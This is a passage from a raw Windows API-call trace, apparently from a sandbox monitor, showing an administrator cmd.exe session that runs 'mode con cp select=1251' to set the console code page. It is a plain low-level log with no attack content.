lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0036.292] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.292] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.292] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0036.292] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.292] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.292] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0036.293] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.293] GetFileType (hFile=0xe8) returned 0x3 [0036.293] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.293] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.293] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.293] GetFileType (hFile=0xf4) returned 0x3 [0036.293] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a85c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0036.293] WriteFile (in: hFile=0xf4, lpBuffer=0x4a85c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x20fab8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesWritten=0x20fab8*=0x18, lpOverlapped=0x0) returned 1 [0036.293] GetProcessHeap () returned 0x320000 [0036.293] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x4012) returned 0x33cd20 [0036.293] GetProcessHeap () returned 0x320000 [0036.293] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cd20 | out: hHeap=0x320000) returned 1 [0036.293] _wcsicmp (_String1="mode", _String2=")") returned 68 [0036.293] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0036.294] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0036.294] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0036.294] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0036.294] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0036.294] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0036.294] GetProcessHeap () returned 0x320000 [0036.294] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xb0) returned 0x3397e0 [0036.294] GetProcessHeap () returned 0x320000 [0036.294] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x1a) returned 0x334610 [0036.294] GetProcessHeap () returned 0x320000 [0036.294] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x38) returned 0x336510 [0036.295] GetConsoleOutputCP () returned 0x1b5 [0036.300] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a85bfe0 | out: lpCPInfo=0x4a85bfe0) returned 1 [0036.300] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0036.300] GetConsoleTitleW (in: lpConsoleTitle=0x20fa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0036.301] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0036.301] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0036.301] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0036.301] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0036.301] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0036.301] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0036.301] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0036.301] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0036.301] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0036.301] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0036.301] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0036.301] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0036.301] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0036.301] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0036.301] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0036.301] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0036.301] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0036.301] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0036.301] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0036.301] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0036.301] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0036.301] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0036.301] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0036.301] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0036.301] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0036.301] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0036.301] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0036.301] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0036.302] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0036.302] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0036.302] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0036.302] _wcsicmp (_String1="mode", _String2="START") returned -6 [0036.302] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0036.302] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0036.302] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0036.302] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0036.302] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0036.302] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0036.302] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0036.302] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0036.302] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0036.302] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0036.302] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0036.302] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0036.302] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0036.302] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0036.302] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0036.302] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0036.302] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0036.302] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0036.302] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0036.302] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0036.302] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0036.302] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0036.302] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0036.302] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0036.303] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0036.303] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0036.303] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0036.303] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0036.303] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0036.303] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0036.303] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0036.303] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0036.303] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0036.303] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0036.303] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0036.303] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0036.303] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0036.303] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0036.303] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0036.303] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0036.303] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0036.303] _wcsicmp (_String1="mode", _String2="START") returned -6 [0036.303] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0036.303] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0036.303] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0036.303] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0036.303] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0036.303] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0036.303] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0036.305] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0036.305] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0036.305] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0036.305] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0036.305] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0036.305] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0036.305] GetProcessHeap () returned 0x320000 [0036.305] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x218) returned 0x321ab0 [0036.305] GetProcessHeap () returned 0x320000 [0036.305] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x42) returned 0x3398a0 [0036.306] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0036.306] GetProcessHeap () returned 0x320000 [0036.306] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x420) returned 0x339a80 [0036.306] SetErrorMode (uMode=0x0) returned 0x0 [0036.306] SetErrorMode (uMode=0x1) returned 0x0 [0036.306] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x339a90, lpFilePart=0x20f300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20f300*="Desktop") returned 0x25 [0036.306] SetErrorMode (uMode=0x0) returned 0x1 [0036.306] GetProcessHeap () returned 0x320000 [0036.306] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x339a80, Size=0x66) returned 0x339a80 [0036.306] GetProcessHeap () returned 0x320000 [0036.306] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x339a80) returned 0x66 [0036.306] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a84f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0036.307] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0036.307] GetProcessHeap () returned 0x320000 [0036.307] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x128) returned 0x321cd0 [0036.307] GetProcessHeap () returned 0x320000 [0036.307] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x240) returned 0x339b00 [0036.314] GetProcessHeap () returned 0x320000 [0036.314] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x339b00, Size=0x12a) returned 0x339b00 [0036.314] GetProcessHeap () returned 0x320000 [0036.314] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x339b00) returned 0x12a [0036.314] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a84f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0036.314] GetProcessHeap () returned 0x320000 [0036.314] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xe8) returned 0x335b70 [0036.314] GetProcessHeap () returned 0x320000 [0036.314] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x335b70, Size=0x7e) returned 0x335b70 [0036.314] GetProcessHeap () returned 0x320000 [0036.314] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335b70) returned 0x7e [0036.316] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0036.316] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x20f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f070) returned 0xffffffffffffffff [0036.317] GetLastError () returned 0x2 [0036.317] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x20f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f070) returned 0xffffffffffffffff [0036.317] GetLastError () returned 0x2 [0036.317] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0036.317] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x20f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f070) returned 0x335c00 [0036.317] GetProcessHeap () returned 0x320000 [0036.317] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x28) returned 0x334640 [0036.318] FindClose (in: hFindFile=0x335c00 | out: hFindFile=0x335c00) returned 1 [0036.318] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x20f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f070) returned 0x335c00 [0036.318] GetProcessHeap () returned 0x320000 [0036.318] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x334640, Size=0x8) returned 0x3398f0 [0036.318] FindClose (in: hFindFile=0x335c00 | out: hFindFile=0x335c00) returned 1 [0036.318] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0036.318] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0036.318] GetConsoleTitleW (in: lpConsoleTitle=0x20f5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0036.318] GetProcessHeap () returned 0x320000 [0036.318] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x21c) returned 0x339c40 [0036.318] GetConsoleTitleW (in: lpConsoleTitle=0x339c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0036.318] GetProcessHeap () returned 0x320000 [0036.318] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x339c40, Size=0xa8) returned 0x339c40 [0036.319] GetProcessHeap () returned 0x320000 [0036.319] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x339c40) returned 0xa8 [0036.319] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0036.321] GetProcessHeap () returned 0x320000 [0036.321] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x339c40 | out: hHeap=0x320000) returned 1 [0036.321] InitializeProcThreadAttributeList (in: lpAttributeList=0x20f378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20f338 | out: lpAttributeList=0x20f378, lpSize=0x20f338) returned 1 [0036.321] UpdateProcThreadAttribute (in: lpAttributeList=0x20f378, dwFlags=0x0, Attribute=0x60001, lpValue=0x20f328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20f378, lpPreviousValue=0x0) returned 1 [0036.321] GetStartupInfoW (in: lpStartupInfo=0x20f490 | out: lpStartupInfo=0x20f490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0036.321] GetProcessHeap () returned 0x320000 [0036.321] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x20) returned 0x334640 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0036.321] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0036.322] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0036.322] GetProcessHeap () returned 0x320000 [0036.322] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x334640 | out: hHeap=0x320000) returned 1 [0036.322] GetProcessHeap () returned 0x320000 [0036.322] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x12) returned 0x338900 [0036.323] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x20f3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20f360 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x20f360*(hProcess=0x54, hThread=0x50, dwProcessId=0x65c, dwThreadId=0x80c)) returned 1 [0036.333] CloseHandle (hObject=0x50) returned 1 [0036.333] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0036.333] GetProcessHeap () returned 0x320000 [0036.333] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c230 | out: hHeap=0x320000) returned 1 [0036.333] GetEnvironmentStringsW () returned 0x33aa10* [0036.333] GetProcessHeap () returned 0x320000 [0036.333] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xae8) returned 0x33b500 [0036.334] FreeEnvironmentStringsW (penv=0x33aa10) returned 1 [0036.334] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77140000 [0036.334] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0036.334] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x20ec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x20ec68, ReturnLength=0x0) returned 0x0 [0036.335] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x20eca0, nSize=0x380, lpNumberOfBytesRead=0x20ec60 | out: lpBuffer=0x20eca0*, lpNumberOfBytesRead=0x20ec60*=0x380) returned 1 [0036.335] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0037.318] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x20f2a8 | out: lpExitCode=0x20f2a8*=0x0) returned 1 [0037.318] CloseHandle (hObject=0x54) returned 1 [0037.318] _vsnwprintf (in: _Buffer=0x20f518, _BufferCount=0x13, _Format="%08X", _ArgList=0x20f2b8 | out: _Buffer="00000000") returned 8 [0037.318] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0037.318] GetProcessHeap () returned 0x320000 [0037.318] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33b500 | out: hHeap=0x320000) returned 1 [0037.318] GetEnvironmentStringsW () returned 0x33aa10* [0037.318] GetProcessHeap () returned 0x320000 [0037.318] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xb0e) returned 0x33eb10 [0037.318] FreeEnvironmentStringsW (penv=0x33aa10) returned 1 [0037.318] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0037.318] GetProcessHeap () returned 0x320000 [0037.318] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33eb10 | out: hHeap=0x320000) returned 1 [0037.318] GetEnvironmentStringsW () returned 0x33aa10* [0037.319] GetProcessHeap () returned 0x320000 [0037.319] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xb0e) returned 0x33eb10 [0037.319] FreeEnvironmentStringsW (penv=0x33aa10) returned 1 [0037.319] GetProcessHeap () returned 0x320000 [0037.319] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x338900 | out: hHeap=0x320000) returned 1 [0037.319] DeleteProcThreadAttributeList (in: lpAttributeList=0x20f378 | out: lpAttributeList=0x20f378) [0037.360] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0037.360] _get_osfhandle (_FileHandle=1) returned 0xf4 [0037.360] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0037.361] _get_osfhandle (_FileHandle=1) returned 0xf4 [0037.361] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a84e194 | out: lpMode=0x4a84e194) returned 0 [0037.361] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.361] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a84e198 | out: lpMode=0x4a84e198) returned 0 [0037.361] GetConsoleOutputCP () returned 0x4e3 [0037.361] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a85bfe0 | out: lpCPInfo=0x4a85bfe0) returned 1 [0037.361] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0037.362] GetProcessHeap () returned 0x320000 [0037.362] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335b70 | out: hHeap=0x320000) returned 1 [0037.362] GetProcessHeap () returned 0x320000 [0037.362] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x339b00 | out: hHeap=0x320000) returned 1 [0037.362] GetProcessHeap () returned 0x320000 [0037.362] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x321cd0 | out: hHeap=0x320000) returned 1 [0037.362] GetProcessHeap () returned 0x320000 [0037.362] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x339a80 | out: hHeap=0x320000) returned 1 [0037.362] GetProcessHeap () returned 0x320000 [0037.362] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x3398a0 | out: hHeap=0x320000) returned 1 [0037.362] GetProcessHeap () returned 0x320000 [0037.362] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x321ab0 | out: hHeap=0x320000) returned 1 [0037.362] GetProcessHeap () returned 0x320000 [0037.362] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x336510 | out: hHeap=0x320000) returned 1 [0037.362] GetProcessHeap () returned 0x320000 [0037.362] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x334610 | out: hHeap=0x320000) returned 1 [0037.362] GetProcessHeap () returned 0x320000 [0037.362] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x3397e0 | out: hHeap=0x320000) returned 1 [0037.362] _vsnwprintf (in: _Buffer=0x4a866340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f7d8 | out: _Buffer="\r\n") returned 2 [0037.362] _get_osfhandle (_FileHandle=1) returned 0xf4 [0037.362] GetFileType (hFile=0xf4) returned 0x3 [0037.362] _get_osfhandle (_FileHandle=1) returned 0xf4 [0037.362] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a85c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0037.362] WriteFile (in: hFile=0xf4, lpBuffer=0x4a85c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20f7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, 